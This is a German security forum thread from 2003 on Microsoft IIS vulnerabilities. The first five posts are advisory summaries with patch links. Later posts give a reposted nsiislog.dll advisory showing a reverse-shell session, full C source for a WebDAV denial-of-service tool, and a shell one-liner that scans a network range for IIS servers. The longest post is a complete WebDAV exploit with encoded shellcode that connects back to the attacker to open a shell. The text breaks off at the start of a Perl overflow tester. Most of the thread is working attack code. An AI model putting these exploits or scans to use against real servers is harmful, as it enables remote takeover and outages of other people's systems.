[Security Holes] IIS Internet Information Server

#0
02.06.2003, 12:42
Ehrenmitglied

Beiträge: 831
#1 Datum : 28.05.2003

Vulnerability : Microsoft IIS 5.0 und 5.1 mit WebDAV

Patch : http://www.microsoft.com/technet/security/bulletin/MS03-018.asp

http://www.microsoft.com/technet/security/bulletin/MS03-018.asp

Microsoft Internet Information Server (MS IIS) ist eine beliebte Webserver-Implementierung für Windows-Systeme. Ein Angreifer kann eine Denial of Service-Attacke auf den Webserver durchführen, indem er überlange WebDAV-Anfragen mit XML-Befehlen absetzt. Diese Schwachstelle betrifft nur IIS 5.0 und 5.1. Das Einspielen der durch Microsoft freigegebenen Patches behebt dieses Problem.

Einige Benutzer des MS IIS haben sich schon gefreut, als wenige Stunden zuvor zwei Schwachstellen im Apache Webserver, dem Hauptkonkurrenten, entdeckt wurde. Nahezu als Hoh könnte man es empfinden, dass beinahe Zeitgleich mehrere ernstzunehmende Sicherheitslücke in der Webserver-Implementierung von Microsoft publik gemacht wurden. WebDAV-Schwachstellen waren immer sehr beliebt - Besonders bei Skript-Kiddies. Glücklicherweise handelt es sich hier "nur" um eine Denial of Service-Verwundbarkeit, so dass nicht damit gerechnet werden muss, dass in naher Zukunft eine Übernahme vieler IIS-Webserver dank dieser Sicherheitslücke der Fall sein wird.

quelle : scip
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
02.06.2003, 12:44
Ehrenmitglied
Themenstarter

Beiträge: 831
#2 Datum : 28.05.2003

Vulnerability : Microsoft IIS 4.0, 5.0 und 5.1

Patch : http://www.microsoft.com/technet/security/bulletin/MS03-018.asp

http://www.microsoft.com/technet/security/bulletin/MS03-018.asp

Microsoft Internet Information Server (MS IIS) ist eine beliebte Webserver-Implementierung für Windows-Systeme. Die ASP-Funktion Response.AddHeader wird beim MS IIS gebraucht, um die Header für generierte ASP-Seiten zu erstellen. Durch einen Fehler in dieser Funktion kann ein Angreifer eine Denial of Service-Attacke auf den Webserver durchführen. Dies passiert dann, wenn ein überlanger Header generiert wird. Voraussetzung für diesen Angriff ist, dass ein Angreifer eigene ASP-Seiten auf dem angegriffenen Webserver ausführen lassen kann.

Einige Benutzer des MS IIS haben sich schon gefreut, als wenige Stunden zuvor zwei Schwachstellen im Apache Webserver, dem Hauptkonkurrenten, entdeckt wurde. Nahezu als Hoh könnte man es empfinden, dass beinahe Zeitgleich mehrere ernstzunehmende Sicherheitslücke in der Webserver-Implementierung von Microsoft publik gemacht wurden. Diese Schwachstelle ist nicht so problematisch wie die anderen, zur gleichen Zeit für den MS IIS publik gemacht wordenen. So setzt diese hier für den Angreifer die Möglichkeit voraus, eigene ASP-Dokumente auf den Webserver hinaufzuladen und ausführen zu lassen. Trotzdem sollte man die Sicherheitslücke nicht herunterspielen und die durch Microsoft freigegebenen Patches installieren.

quelle : scip
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
02.06.2003, 12:46
Ehrenmitglied
Themenstarter

Beiträge: 831
#3 Datum : 28.05.2003

Vulnerability : Microsoft IIS 5.0

Patch : http://www.microsoft.com/technet/security/bulletin/MS03-018.asp

http://www.microsoft.com/technet/security/bulletin/MS03-018.asp

Microsoft Internet Information Server (MS IIS) ist eine beliebte Webserver-Implementierung für Windows-Systeme. Es wurde ein Pufferüberlauf in der Bearbeitung von Anfragen für Server Side Includes (z.B. .shtml, .stm und .shtm) entdeckt. Ein Angreifer sieht sich so in der Lage, Programmcode mit den Rechten des Webservers auszuführen. Hierzu ist es allerdings notwendig, Seiten auf den Server hochzuladen. Diese Schwachstelle betrifft im Gegensatz zu den anderen zeitgleich für den IIS gemeldeten Sicherheitslücken nur den IIS 5.0. Aber auch hier wird die Installation der Patches empfohlen.

Einige Benutzer des MS IIS haben sich schon gefreut, als wenige Stunden zuvor zwei Schwachstellen im Apache Webserver, dem Hauptkonkurrenten, entdeckt wurde. Nahezu als Hohn könnte man es empfinden, dass beinahe Zeitgleich mehrere ernstzunehmende Sicherheitslücke in der Webserver-Implementierung von Microsoft publik gemacht wurden. Diese Schwachstelle ist nicht so problematisch wie die anderen, zur gleichen Zeit für den MS IIS publik gemacht wordenen. So ist diese hier nur beim IIS 5.0 anwendbar und setzt für den Angreifer die Möglichkeit voraus, eigene Dokumente auf den Webserver hinaufzuladen. Trotzdem sollte man die Sicherheitslücke nicht herunterspielen und die durch Microsoft freigegebenen Patches installieren.

quelle : scip
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
02.06.2003, 12:47
Ehrenmitglied
Themenstarter

Beiträge: 831
#4 Datum : 28.05.2003

Vulnerability : Microsoft IIS 4.0, 5.0 und 5.1

Patch : http://www.microsoft.com/technet/security/bulletin/MS03-018.asp

Patch http://www.microsoft.com/technet/security/bulletin/MS03-018.asp

Microsoft Internet Information Server (MS IIS) ist eine beliebte Webserver-Implementierung für Windows-Systeme. Es wurde ein Cross Site Scripting (XSS) in den Fehlerseiten, die durch den MS IIS generiert werden, gefunden. Der Fehler basiert auf der fehlenden Eingabeüberprüfung von URLs, die bei den Webseiten automatisch in das HTML-Dokument eingebettet werden. Ein Angreifer sieht sich so in der Lage, Denial of Service-Angriffe gegen Besucher der Webseite mit den Rechten des Webservers auszuführen oder Cookies zu übernehmen. Microsoft hat mit Patches reagiert, die es einzuspielen gilt.

Einige Benutzer des MS IIS haben sich schon gefreut, als wenige Stunden zuvor zwei Schwachstellen im Apache Webserver, dem Hauptkonkurrenten, entdeckt wurde. Nahezu als Hohn könnte man es empfinden, dass beinahe Zeitgleich mehrere ernstzunehmende Sicherheitslücke in der Webserver-Implementierung von Microsoft publik gemacht wurden. Cross Site Scripting Angriffe wie dieser werden gerne unterschätzt. Dies ist wohl hauptsächlich darum gegeben, weil nicht die Betreiber des Webservers selbst den Gefahren der Schwachstelle ausgesetzt sind. Viel mehr stellen XSS-Angriffe ein Problem für die Besucher dar. Trotzdem ist es sehr unschön, wenn Besucher indirekt mit einer Denial of Service-Attacke penetriert oder irgendwelche in Cookies gespeicherten Informationen (z.B. Passwörter) gestohlen werden. Im Sinne der Allgemeinheit sollten die Betreiber von Webservern also trotzdem darauf achten, dass auf ihren Systemen keine XSS-Attacken möglich sind.

quelle : scip
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
02.06.2003, 12:48
Ehrenmitglied
Themenstarter

Beiträge: 831
#5 Datum : 30.05.2003

Vulnerability : Microsoft IIS 4.0 und 5.0 mit Windows Media Services ISAPI Erweiterung

Patch : http://www.microsoft.com/technet/security/bulletin/MS03-019.asp

http://www.microsoft.com/technet/security/bulletin/MS03-019.asp


Microsoft Internet Information Server (MS IIS) ist eine beliebte Webserver-Implementierung für Windows-Systeme. Es wurde eine Schwachstelle in der ISAPI Erweiterung nsiislog.dll entdeckt. Diese wertet eingehende Anforderungen nicht korrekt aus, was von Angreifern für das Umsetzen einer Denial of Service-Attacke missbraucht werden kann. Eine speziell geformte Anfrage an den Server kann dazu fuehren, dass der IIS nicht mehr reagiert. Für den erfolgreichen Angriff sind die Windows Media Services erforderlich. Diese werden Standardmässig nicht auf Windows 2000 installiert und sind bei Windows NT gar nicht erst auf der Programm-CD enthalten. Sie müssen dort zuerst heruntergeladen werden. Versuchen Sie auf die verwundbaren Windows Media Services zu verzichten, sofern Ihnen dies möglich ist. Andernfalls wird das Einspielen der Patches enpfohlen, um die Schwachstellen zu beheben.

Einige Benutzer des MS IIS haben sich schon gefreut, als wenige Stunden zuvor zwei Schwachstellen im Apache Webserver, dem Hauptkonkurrenten, entdeckt wurde. Nahezu als Hohn könnte man es empfinden, dass beinahe Zeitgleich mehrere ernstzunehmende Sicherheitslücke in der Webserver-Implementierung von Microsoft publik gemacht wurden. Glücklicherweise ist diese hier nur dann gegeben, wenn die Windows Media Services, die es manuell einzuspielen gilt, installier sind. Überprüfen Sie Ihr System auf das Vorhandensein der verwundbaren Dienste und spielen Sie die entsprechenden Patches ein.

quelle : scip
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
02.06.2003, 12:56
Ehrenmitglied
Themenstarter

Beiträge: 831
#6 Damit ihr auch einmal die Gegenstücke dazu seht, liefere ich euch nun ein Exploitz zu einer dieser Sicherheitslücken

Code


========================================================================
= Windows Media Services Remote Command Execution
=
= NSIISLOG.DLL Ver 4.1.0.3920
=
= MS Bulletin posted: May 28, 2003 revised May 30, 2003
= http ://www.microsoft.com/technet/security/bulletin/MS03-019.asp
=
= Affected Software:
= Microsoft Windows NT 4.0
= Microsoft Windows 2000
=
= Public disclosure on May 30, 2003
========================================================================

A long time ago, in a place far far away....

Well actually it was four months ago over here in New Zealand. Christmas
holidays had finished and I was half way through contemplating writing
a paper entitled 'The Methodical Approach To Finding Overflows'.

I thought I had better try out the concept behind this approach and the
issues discovered in nsiislog.dll are some of the results of it.

== MS03-019 states ==
Impact: Allow an attacker to execute code of their choice
Max Risk: Important

There is a flaw in the way in which nsiislog.dll processes incoming
requests. A vulnerability exists because an attacker could send specially
formed communications to the server that could cause IIS to stop responding
to Internet requests.

The vulnerability results because of an unchecked buffer used by the
nsiislog.dll file for logging. If a specially crafted request is sent to the
server, the logging file will attempt to write a larger buffer than is
possible,which then in turn causes the IIS service to fail.
== MS03-019 ==

== Description ==

Sending a chunked encoded post to nsiislog.dll will cause an access
violation
resulting in the following error log.

------------------------------------------------------------------------
Event Type: Warning
Event Source: W3SVC
Event Category: None
Event ID: 37
Description:
Out of process application '/LM/W3SVC/1/Root' terminated unexpectedly.
------------------------------------------------------------------------

A chunked encoded post will result in the control of EAX and ECX, with
the exception ocurring at a mov dword ptr [ecx],eax instruction.

This allows remote command execution with privileges associated with the
IWAM_machinename account.

== Chunked Transfer-Encoding Post ==

POST /scripts/nsiislog.dll HTTP/1.1
Transfer-Encoding: chunked

PostLength
PostData
0

Using Size: 121
Connecting....Sending Buffer....
78003F25 dec dword ptr [ecx+0ACh]
-
7800F5ED dec dword ptr [esi] ESI = 58585858

Using Size: 510
Connecting....Sending Buffer....
77FC8FE1 mov dword ptr [ecx],eax EAX = 58585858
ECX = 58585858

Using Size: 5000
Connecting....Sending Buffer....
40F01DCC rep movs dword ptr [edi],dword ptr [esi]
-
77FC8FE1 mov dword ptr [ecx],eax EAX = 58585858
ECX = 58585858

== Exploitation ==

The infamous 'mov dword ptr [ecx],eax' which allows an attacker to take
control by placing a value into a position that is later retrieved for the
EIP register.

In this case the exception was handled internally so execution flow could
not be obtained by taking advantage of SEH, but we were successful in
obtaining control by overwriting a portion of another 3 leter acronym.

== Exploit Example ==

%:\>exploit 192.168.1.63
** IISNSLOG.DLL - 4.1.0.3920 - Remote Shell **

. Calling Home: blackhole:2000
. Using: 0x########h as ABC overwrite
. Using: 0x########h as direct jump location
. Shellcode Size: 322 bytes
. Preparing Exploit Buffer......Ready
. Starting Listener On Port: 2000
. Connecting To Target
. Sending Exploit......Exploit Sent
. Connection Received
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
IWAM_BLACKHOLE
C:\WINNT\system32>

== Solutions ==

- Every day can be a 0-day day on the Internet. Limiting the avenues of
attack can be a key factor in reducing the risk to a web server. Programs
such as secureIIS and URLscan should be setup to reduce the number of
methods that can be used to send data to a server. Removing unnecessary
services, files and isapi extensions reduces the number of listeners
that data can be fed to limiting the number of vulnerabilities that a
server is susceptible to.
- Install the vendor supplied patch.

== Credit ==

Discovered and advised to Microsoft January 27, 2003 by Brett Moore.

%-) shutz to: eEye, spyrit and all kiwis with hackfu
%-) ha. we'll just say: "All of your livers are belong to us".


quelle : neworder
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
02.06.2003, 13:03
Ehrenmitglied
Themenstarter

Beiträge: 831
#7 Hier haben wir es mit einem Quelltext von "C" zu tun, der erst compilert werden muss.

ne0.c

Code

/*
    
Micro$oft IIS DoSser (restarts Web/FTP/Mail service .Terminates  all active Web/FTP/Mail connections....ph33r ;-) )

>> by Shashank Pandey a.k.a      +(Neo1)+
  
  >>    http://geekgroove.8m.com

  Issue : http://packetstorm.linuxsecurity.com/0305-exploits/iisDoS.txt  
    


coded in seconds .... crappy programming but worx !

shoutz to all da babes in delhi    :-)


>> Only for tezting purposes !!! i disclaim everything ....


part of M4TR1X series of codes from me...     ph33r again...;-)


*/


#include <windows.h>
#include <winsock.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")



void graphitte()


{printf("\n********************************** ");
printf("\n Webdav MICRO$OFT IIS DoSser     * \n");
printf("+++++++++++++++++++++++++++++++++*\n");
printf(" by Shashank Pandey              *\n");
printf(" (reach_shash@linuxmail.org)     *\n");
printf("********************************** \n");



}







char *funk(char tobesent[100],char *host)
{
  int s;  char got[100];

  WSADATA wsaData;
      
struct hostent *yo;
struct sockaddr_in heck;
    
     char lala[100];
    

if(WSAStartup(0x0101,&wsaData)!=0) {
      printf("error starting winsock..");
      return 0;
      }




  if ((yo = gethostbyname(host))==0){
    printf("error: can't resolve '%s'",host);
    return 0;
  }




  
  heck.sin_port = htons(80);
  heck.sin_family = AF_INET;
  heck.sin_addr = *((struct in_addr *)yo->h_addr);

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    printf("Error: Unable to create socket");
    
  }

  
  if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
    printf("Error: Cudn't Connect\r\n");
    
  }

  
memset(lala,0,sizeof(lala));

sprintf(lala,"%s",tobesent,sizeof(tobesent));
    
      send(s,lala,strlen(lala),0);
   recv(s,got,100,0);


  
    
  
  return got;
    closesocket(s);
    WSACleanup();
    printf("done.\n");

}







int main(int argc, char *argv[])
{
    

  WSADATA wsaData;
      
      
      
      
      int s;char mysend[100];
      char *gotme;
      char trash[100];
      

struct hostent *yo;
           struct sockaddr_in heck;
      char buffer[65535] ="";
      char myrequest[80000];    
      char content[] =
           "<?xml version="1.0"?>\r\n"
           "<g:searchrequest xmlns:g="DAV:">\r\n"
           "<g:sql>\r\n"
           "Select "DAV:displayname" from scope()\r\n"
           "</g:sql>\r\n"
           "</g:searchrequest>\r\n";

  
      
      graphitte();
      
    

    

if(WSAStartup(0x0101,&wsaData)!=0) {
      printf("Error :Cudn't initiate winsock!");
      return 0;
      }


if(argc<2)

{printf("\nUsage : %s <I.P./Hostname>\n\n",argv[0]);
  exit(0);}




  if ( (yo = gethostbyname(argv[1]))==0)
  {
    printf("error: can't resolve '%s'",argv[1]);
    return 1;
  }



printf("\nChecking web server %s\n",argv[1]);
gotme=(char *)funk("GET / HTTP/1.0\r\n\n",argv[1]);


if (strstr(gotme,"IIS/5.0") == NULL)
          
{     printf("\n\r----> %s is not running IIS 5.0! adios !\n",argv[1]);  }

      

else

{
    
    
printf("\n\r----> Aww rite! IIS 5.0 found on %s  !\n",argv[1]);







    
sprintf(mysend,"SEARCH / HTTP/1.0\r\n\n",40);

gotme=(char *)funk(mysend,argv[1]);

if (strstr(gotme,"HTTP/1.1 411 Length Required") != NULL)
          
{     printf("\n\r----> METHOD SEARCH ALLOWED\r\n"); }



else

{
    
printf("\n----> Method SEARCH not Allowed ! adios...\n");
exit(0);

}    





  
  heck.sin_port = htons(80);
  heck.sin_family = AF_INET;
  heck.sin_addr = *((struct in_addr *)yo->h_addr);

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    printf("error: can't create socket");
    return 1;
  }

  
  if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
    printf("Error:Cudn't Connect\r\n");
    return 1;
  }

  
  
buffer[sizeof(buffer)]=0x00;

  memset(buffer,'S',sizeof(buffer));
  memset(myrequest,0,sizeof(myrequest));
      memset(trash,0,sizeof(trash));
      sprintf(myrequest,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
      sprintf(myrequest,"%s%d\r\n\r\n",myrequest,strlen(content));
      printf("\r\nDoSsing the server...<pray>\n");
      send(s,myrequest,strlen(myrequest),0);
      
      



      send(s,content,strlen(content),0);
      
      
      
      
      recv(s,trash,sizeof(trash),0);
      if(trash[0]==0x00)
      {
      printf("Server is DoSsed! Now run !! F-B-eyee is after j00...\r\n");
      
      }
      
      else
      
          
      printf("Server is prolly patched.\r\n");
      
      closesocket(s);
  

}
    
    
    
    
    WSACleanup();
    
    
    
    
    
return 1;
}




Quelle : packetstorm
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
02.06.2003, 19:09
Ehrenmitglied
Themenstarter

Beiträge: 831
#8 Um das ganze zu kompletieren liefere ich euch einen IIS-Scanner.

Das ganze wird in einer Linux-shell ausgeführt. Abänderungen mit ">> umleite-datei" oder "nohup for a in ..." sind denkbar.

Code


for a in `nmap -sT -n -oG /dev/stdout -p 80 www.microsoft.de/24 | grep "80/open" | awk '{print $2}'`; do wget -S $a -O /dev/null -a /dev/stdout | egrep "(Microsoft|Connecting)" | awk '{print "Checking " $3}' ; done


mfg p2k
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
03.06.2003, 07:00
Ehrenmitglied
Avatar Robert

Beiträge: 2283
#9 Wenn wir grad dabei sind: Proof of Comcept für die WebDave Lücke ( http://www.securiteam.com/windowsntfocus/5FP0B2K9FY.html )


Code


/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* 29/05/2003 - The Matrix Reloaded - */
/* Proof of concept exploit by Alumni */
/*-\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/-*/
/* In brief: */
/* 1) spawns shell on port 32768; */
/* 2) the byte-code independent on */
/* kernel loading point entry; */
/* 3) because of zero-bytes presence in */
/* code, the shellcode is xored with */
/* calculate-based selective key; */
/*-\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/-*/
/* Greetings: to all my friends */
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/


#include <stdio.h>
#include <winsock.h>
#include <windows.h>

#define SHELLCODELEN 753
#define NOP 0x90
#define BUFFERLEN 1024
#define RET 0x41424344

#define GMHOFF 30
#define GPAOFF 38
#define IPOFF 161
#define DEFPORT 32768


//#define DEBUGGEE_FLOW // for debug only

#ifdef DEBUGGEE_FLOW
#define GMH (long)GetModuleHandle
#define GPA (long)GetProcAddress
#else
#define GMH 0x0100107C // GetModuleHandle@
#define GPA 0x01001034 // GetProcAddress@
#endif


#define XOROFF 11
#define SOFF 16


char prologue[] =
"\xEB\x03" // jmp $+3
"\x58" // pop eax
"\x50" // push eax
"\xC3" // retn
"\xE8\xF8\xFF\xFF\xFF" // call $-3
"\xB2" // mov dl, %key

"\x90" // %key
"\x33\xC9" // xor ecx, ecx
"\x66\xB9" // mov cx, shellcodesize

"\x04\x03" // shellcodesize = hex(SHELLCODELEN)
"\x04\x14" // add al, 0x14
"\x30\x10" // xor byte ptr[eax], dl
"\x40" // inc eax
"\x66\x49" // dec cx
"\x67\xE3\x02" // jcxz $+5
"\xEB\xF6" // jmp $-8
;


char shellcode[SHELLCODELEN+1] =
"\xe8\x5f\x02\x00\x00\x8b\xe8\x33\xf6\x66\xbe\x80"
"\x00\x03\xf4\xc7\x46\xf0\x00\x00\x00\x00\xc7\x46"
"\xf4\x00\x00\x00\x00\xb8\xf2\x12\x40\x00\x89\x46"
"\xf8\xb8\xf8\x12\x40\x00\x89\x46\xfc\x8b\xd5\x81"
"\xc2\x9e\x02\x00\x00\x52\xff\x56\xf8\x89\x46\xf4"
"\x8b\xd5\x81\xc2\xab\x02\x00\x00\x52\xff\x76\xf4"
"\xff\x56\xfc\x68\x00\x10\x00\x00\x6a\x40\xff\xd0"
"\x8b\xf8\x8b\xc7\x8b\xfe\x8b\xf0\x83\xc6\x20\x8b"
"\x47\xf8\x89\x46\xf8\x8b\x47\xf4\x89\x46\xf4\x8b"
"\x47\xfc\x89\x46\xfc\x8b\xd5\x81\xc2\x6e\x02\x00"
"\x00\x52\xff\x56\xf8\x89\x46\xf0\x8b\xd5\x81\xc2"
"\x7e\x02\x00\x00\x52\xff\x76\xf0\xff\x56\xfc\x8b"
"\xd8\x6a\x06\x6a\x01\x6a\x02\xff\xd3\x89\x06\x8b"
"\xd6\x83\xc2\x14\xb8"
"\x7f\x00\x00\x01" // put your ip here (run netcat before,
e.g. 127.0.0.1)
"\x89\x42\x04\x66\xc7\x02\x02\x00\x66\xb8"
"\x80\x00" // specify connectious port here (e.g.
32768)
"\x66\x89\x42"
"\x02\x8b\xd5\x81\xc2\x8a\x02\x00\x00\x52\xff\x76"
"\xf0\xff\x56\xfc\x8b\xd8\x6a\x10\x8b\xd6\x83\xc2"
"\x14\x52\xff\x36\xff\xd3\x83\xf8\xff\x0f\x84\x84"
"\x01\x00\x00\x8b\xd5\x81\xc2\x79\x02\x00\x00\x52"
"\xff\x76\xf0\xff\x56\xfc\x8b\xd8\x8b\xd6\x6a\x00"
"\x68\x64\x0f\x00\x00\x81\xc2\x9c\x00\x00\x00\x52"
"\xff\x36\xff\xd3\xc6\x84\x30\x9c\x00\x00\x00\x00"
"\xbb\x00\x00\x00\x00\x66\xb9\x0c\x00\x8a\x84\x2b"
"\x62\x02\x00\x00\x88\x84\x33\x90\x00\x00\x00\x43"
"\x66\x49\x66\x83\xf9\x00\x75\xe9\x8b\xfe\x81\xc7"
"\x84\x00\x00\x00\xc7\x07\x0c\x00\x00\x00\xc7\x47"
"\x04\x00\x00\x00\x00\xc7\x47\x08\x01\x00\x00\x00"
"\x8b\xfe\x8b\xd6\x8b\xce\x81\xc7\x84\x00\x00\x00"
"\x83\xc2\x0c\x83\xc1\x10\x6a\x00\x57\x51\x52\x8b"
"\xd5\x81\xc2\xc9\x02\x00\x00\x52\xff\x76\xf4\xff"
"\x56\xfc\x8b\xd8\xff\xd3\x8b\xfe\x83\xc7\x34\xc7"
"\x07\x44\x00\x00\x00\x66\xc7\x47\x30\x00\x00\xc7"
"\x47\x2c\x01\x01\x00\x00\x8b\x46\x10\x89\x47\x3c"
"\x89\x47\x40\x8b\xd6\x8b\xde\x8b\xce\x81\xc2\x90"
"\x00\x00\x00\x83\xc3\x34\x83\xc1\x78\x51\x53\x6a"
"\x00\x6a\x00\x6a\x00\x6a\x01\x6a\x00\x6a\x00\x52"
"\x6a\x00\x8b\xd5\x81\xc2\xd4\x02\x00\x00\x52\xff"
"\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5\x81"
"\xc2\xbd\x02\x00\x00\x52\xff\x76\xf4\xff\x56\xfc"
"\x8b\xd8\xff\x76\x10\xff\xd3\x8b\xd6\x83\xc2\x08"
"\x8b\xd5\x81\xc2\xb7\x02\x00\x00\x52\xff\x76\xf4"
"\xff\x56\xfc\x8b\xd8\x68\x88\x13\x00\x00\xff\xd3"
"\x8b\xd6\x8b\xce\x81\xc2\x90\x00\x00\x00\x83\xc1"
"\x08\x8b\x5e\x08\x6a\x00\x51\x68\x70\x0f\x00\x00"
"\x52\xff\x76\x0c\x8b\xd5\x81\xc2\xe3\x02\x00\x00"
"\x52\xff\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b"
"\xd6\x81\xc2\x90\x00\x00\x00\x6a\x00\xff\x76\x08"
"\x52\xff\x36\x8b\xd5\x81\xc2\x85\x02\x00\x00\x52"
"\xff\x76\xf0\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5"
"\x81\xc2\x92\x02\x00\x00\x52\xff\x76\xf0\xff\x56"
"\xfc\x8b\xd8\xff\x36\xff\xd3\xe9\x1c\xfe\xff\xff"
"\x58\x50\xc3\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f"
"\x43\x20\x20\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c"
"\x4c\x00\x72\x65\x63\x76\x00\x73\x6f\x63\x6b\x65"
"\x74\x00\x73\x65\x6e\x64\x00\x63\x6f\x6e\x6e\x65"
"\x63\x74\x00\x63\x6c\x6f\x73\x65\x73\x6f\x63\x6b"
"\x65\x74\x00\x4b\x45\x52\x4e\x45\x4c\x33\x32\x2e"
"\x44\x4c\x4c\x00\x47\x6c\x6f\x62\x61\x6c\x41\x6c"
"\x6c\x6f\x63\x00\x53\x6c\x65\x65\x70\x00\x43\x6c"
"\x6f\x73\x65\x48\x61\x6e\x64\x6c\x65\x00\x43\x72"
"\x65\x61\x74\x65\x50\x69\x70\x65\x00\x43\x72\x65"
"\x61\x74\x65\x50\x72\x6f\x63\x65\x73\x73\x41\x00"
"\x52\x65\x61\x64\x46\x69\x6c\x65\x00";


char xmlbody[] ="<?xml version="1.0"?>\r\n<g:searchrequest
xmlns:g="DAV:">\r\n"
"<g:sql>\r\nSelect "DAV:displayname"
from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";


long retaddr, buffsize;
char* buffer;



unsigned long getlocalhostip()
{
char buff[128];
in_addr inaddr;
if(!gethostname(buff,128))
{
memcpy(&inaddr,gethostbyname(buff)->h_addr,4);
return(inet_addr(inet_ntoa(inaddr)));
}
return (-1);
}



ULONG WINAPI AcceptThread(LPVOID lpParam)
{
int ln1;
unsigned long slisten, sacc;
sockaddr_in saddrin;

slisten = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (slisten!=INVALID_SOCKET)
{
saddrin.sin_addr.s_addr = INADDR_ANY;
saddrin.sin_family = AF_INET;
saddrin.sin_port = htons(DEFPORT);
bind(slisten,(struct sockaddr*)&saddrin,sizeof(saddrin));
listen(slisten,5);
while (1)
{
ln1 = sizeof(saddrin);
sacc = accept(slisten,(struct sockaddr*)
&saddrin,&ln1);
if (sacc!=INVALID_SOCKET)
{
printf("\n\nShell succesfully spawned on
remote host\nNetcat to %d",DEFPORT);
ExitProcess(0);
}
}
}
return (1);
}


ULONG SendRequest (char* sHost, int iPort)
{
char* buffsend;
struct sockaddr_in saddr_in;
int timeout;
unsigned long sock;

buffsend = (char*)malloc(buffsize+256);
memset(buffsend,0,buffsize+256);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
saddr_in.sin_addr.s_addr = inet_addr(sHost);
saddr_in.sin_family = AF_INET;
saddr_in.sin_port = htons(iPort);
if (!connect(sock,(struct sockaddr*)&saddr_in,sizeof(saddr_in)))
{
timeout = 5000;
setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)
&timeout,sizeof(timeout));
setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)
&timeout,sizeof(timeout));
sprintf(buffsend,"SEARCH / HTTP/1.1\r\nHost:%s\r\nContent-
Type: text/xml\r\nContent-Length: %d\r\n\r\n%s%s",strlen(xmlbody)+strlen
(buffer),xmlbody,buffer);
send (sock,buffsend,strlen(buffsend),0);
closesocket(sock);
}
else return(1);

return (0);
}


void dispUsage(char* str1)
{
printf ("IIS WebDAV exploit by Alumni - The Matrix Reloaded -\n");
printf ("Usage: %s <ipv4dot> <port> [<buffsize>] [<retaddr>]
\n\n",str1);
return;
}

int main(int argc, char** argv)
{
unsigned long uThread;
int prologuelen = 0, i;
char xorkey = 0;
long *ptr1;
WSADATA wsadata;

WSAStartup(MAKEWORD(2,0),&wsadata);
buffsize = BUFFERLEN;
retaddr = RET;

#ifndef DEBUGGEE_FLOW
if (argc<3)
{
dispUsage(argv[0]);
return (1);
}
if (argc>=4) buffsize = atoi(argv[3]);
if (argc>=5) retaddr = atol(argv[4]);
#endif

buffer = (char*) malloc(buffsize+1);
ptr1 = (long*)buffer;
memset(buffer,0,buffsize);
CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
AcceptThread,NULL,NULL,&uThread);

*(long*)(shellcode+GMHOFF) = GMH;
*(long*)(shellcode+GPAOFF) = GPA;
*(long*)(shellcode+IPOFF) = getlocalhostip();

for (i=0;i<256;i++)
{
int iBool = 1, j;
for (j=0;j<SHELLCODELEN;j++)
if ((shellcode[j]^i)==0 || (shellcode[j]^i)==0x0d
|| (shellcode[j]^i)==0x0a) iBool = 0;
if (iBool)
{
xorkey = i;
break;
}
}

for (i=0;i<SHELLCODELEN;i++) shellcode[i] ^= xorkey;
for (i=0;i<(buffsize-SHELLCODELEN)/2;i++) buffer[i] = NOP;
prologue[XOROFF] = xorkey;
*(short int*)(prologue+SOFF) = SHELLCODELEN;

strncat(buffer,prologue,buffsize);

prologuelen = strlen(buffer);
for (i=prologuelen;i<SHELLCODELEN+prologuelen;i++) buffer[i] =
shellcode[i-prologuelen];
prologuelen = strlen(buffer);
buffer[prologuelen] = NOP;
buffer[prologuelen+1] = NOP;
buffer[prologuelen+2] = NOP;
buffer[prologuelen+3] = NOP;
for (i=(prologuelen+3) & (~3);i<buffsize;i+=sizeof(retaddr)) *
(long*)(buffer+i) = retaddr;
buffer[buffsize] = 0;

printf ("%s",buffer);


#ifdef DEBUGGEE_FLOW
__asm {
mov eax, ptr1
call eax
}
#else
SendRequest(argv[1],atoi(argv[2]));
#endif

WSACleanup();
return (0);
}

__________
powered by http://different-thinking.de - Netze, Protokolle, Sicherheit, ...
Seitenanfang Seitenende
03.06.2003, 13:34
Ehrenmitglied
Themenstarter

Beiträge: 831
#10

Code

#######################################################################
#!/usr/bin/perl
#
# isurlscan.pl - Testing User-Agent: overflow field
#
